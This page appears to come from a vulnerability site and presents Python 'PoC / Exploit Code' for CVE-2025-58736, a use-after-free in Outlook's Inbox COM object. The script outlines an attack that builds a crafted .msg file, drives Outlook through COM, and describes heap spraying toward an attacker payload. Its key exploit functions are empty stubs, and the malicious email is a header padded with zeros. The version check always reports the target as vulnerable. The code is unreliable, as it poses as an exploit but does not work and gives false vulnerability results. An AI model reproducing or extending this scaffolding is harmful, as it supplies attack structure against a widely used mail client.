Microsoft Outlook for Microsoft 365 (低于2025年10月补丁版本)
Microsoft Outlook LTSC 2024 (低于安全补丁版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58736 - Outlook Inbox COM Object Use After Free PoC (Conceptual)
# This is a conceptual PoC demonstrating the vulnerability pattern.
# Actual exploitation requires specific environment and crafted inputs.
import subprocess
import os
import time
class OutlookInboxExploit:
"""
PoC for CVE-2025-58736: Use After Free in Inbox COM Objects
This demonstrates the conceptual exploitation approach for the
Outlook Inbox COM object use-after-free vulnerability.
"""
def __init__(self):
self.target_process = "OUTLOOK.EXE"
self.com_object_guid = "{0006F0AB-...}" # Inbox COM object CLSID
self.payload = None
def check_vulnerable_version(self):
"""Check if the installed Outlook version is vulnerable"""
try:
# Check Outlook version via registry
result = subprocess.run(
['reg', 'query', 'HKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\Configuration'],
capture_output=True, text=True
)
# Parse version information
# Vulnerable versions would be those before the October 2025 patch
return True # Simplified check
except Exception as e:
print(f"Version check failed: {e}")
return False
def trigger_uaf(self, crafted_email_path):
"""
Trigger the use-after-free by processing a crafted email
that causes the Inbox COM object to be freed while still referenced.
"""
print(f"[*] Loading crafted email: {crafted_email_path}")
# Step 1: Open Outlook via COM automation
import win32com.client
try:
outlook = win32com.client.Dispatch("Outlook.Application")
namespace = outlook.GetNamespace("MAPI")
# Step 2: Access Inbox folder (triggers COM object creation)
inbox = namespace.GetDefaultFolder(6) # olFolderInbox = 6
# Step 3: Process crafted email that triggers UAF condition
# The crafted email causes premature object release
mail_item = inbox.Items.Add(0) # olMailItem = 0
# Step 4: Trigger the use-after-free condition
# By manipulating object lifecycle, we cause the COM object
# to be freed while still being referenced
self._manipulate_com_lifecycle(inbox, mail_item)
# Step 5: Access freed memory to achieve code execution
self._exploit_freed_memory()
except Exception as e:
print(f"Exploit attempt: {e}")
def _manipulate_com_lifecycle(self, inbox, mail_item):
"""Manipulate COM object lifecycle to trigger UAF"""
# Force release of COM object references
# while maintaining dangling pointers for exploitation
print("[*] Manipulating COM object lifecycle...")
# Implementation would involve specific COM interface calls
# that cause premature object release
pass
def _exploit_freed_memory(self):
"""Exploit the freed memory region for code execution"""
print("[*] Attempting to exploit freed memory...")
# Heap spray or controlled allocation to reclaim freed memory
# then redirect execution to attacker-controlled payload
pass
def create_crafted_email(self, output_path):
"""Create a crafted email file to trigger the vulnerability"""
# Create a .msg file with specific properties that trigger
# the UAF condition when processed by Outlook
email_content = self._generate_malicious_msg()
with open(output_path, 'wb') as f:
f.write(email_content)
print(f"[+] Crafted email saved to: {output_path}")
def _generate_malicious_msg(self):
"""Generate malicious .msg file content"""
# Simplified representation of a crafted MSG file
# that triggers the Inbox COM object UAF
header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE compound document header
# Actual payload would include specially crafted MAPI properties
# designed to trigger the use-after-free condition
return header + b'\x00' * 4096 # Placeholder
def main():
print("=" * 60)
print("CVE-2025-58736 - Outlook Inbox COM UAF PoC")
print("=" * 60)
exploit = OutlookInboxExploit()
if exploit.check_vulnerable_version():
print("[!] Target appears to be vulnerable")
# Create crafted email
email_path = "crafted_email.msg"
exploit.create_crafted_email(email_path)
# Trigger exploit (requires user interaction in real scenario)
print("[*] In a real attack scenario, the crafted email would be")
print(" sent to the victim and triggered when they interact with it.")
print("[*] This PoC demonstrates the conceptual approach only.")
else:
print("[+] Target does not appear to be vulnerable")
if __name__ == "__main__":
main()